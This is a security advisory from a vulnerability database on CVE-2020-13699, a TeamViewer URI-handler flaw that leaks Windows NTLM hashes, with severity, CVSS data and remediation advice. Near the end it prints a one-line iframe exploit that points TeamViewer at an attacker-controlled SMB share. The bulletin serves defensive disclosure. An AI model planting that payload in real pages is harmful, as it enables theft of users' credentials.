SB2020081024 - Windows credentials desclosure in TeamViewer

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Main Vulnerability Database SB2020081024

SB2020081024 - Windows credentials desclosure in TeamViewer

Published: August 10, 2020

Security Bulletin ID SB2020081024
CSH Severity
High
Patch available
YES
Number of vulnerabilities 1
Exploitation vector Remote access
Highest impact Data manipulation

Breakdown by Severity

High 100%
  • Low
  • Medium
  • High
  • Critical

Description

This security bulletin contains information about 1 vulnerability.


1) Unquoted Search Path or Element (CVE-ID: CVE-2020-13699)

CWE-ID: CWE-428 - Unquoted Search Path or Element

CVSSv4: CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:A/U:Amber


The vulnerability allows a remote attacker to gain access to sensitive information.

The vulnerability exists due to TeamViewer Desktop for Windows processes URI handlers in an insecure manner. A remote attacker can create a specially crafted link, trick the victim into clicking it and force the application to send an NTLM authentication request to a remote system.

Successful exploitation of the vulnerability may allow an attacker to obtain NTLM hash of the current Windows user, which may result in system compromise.

Exploitation example:

<iframe src='teamviewer10: --play \\attacker-IP\share\fake.tvs'>

Remediation

Install update from vendor's website.

References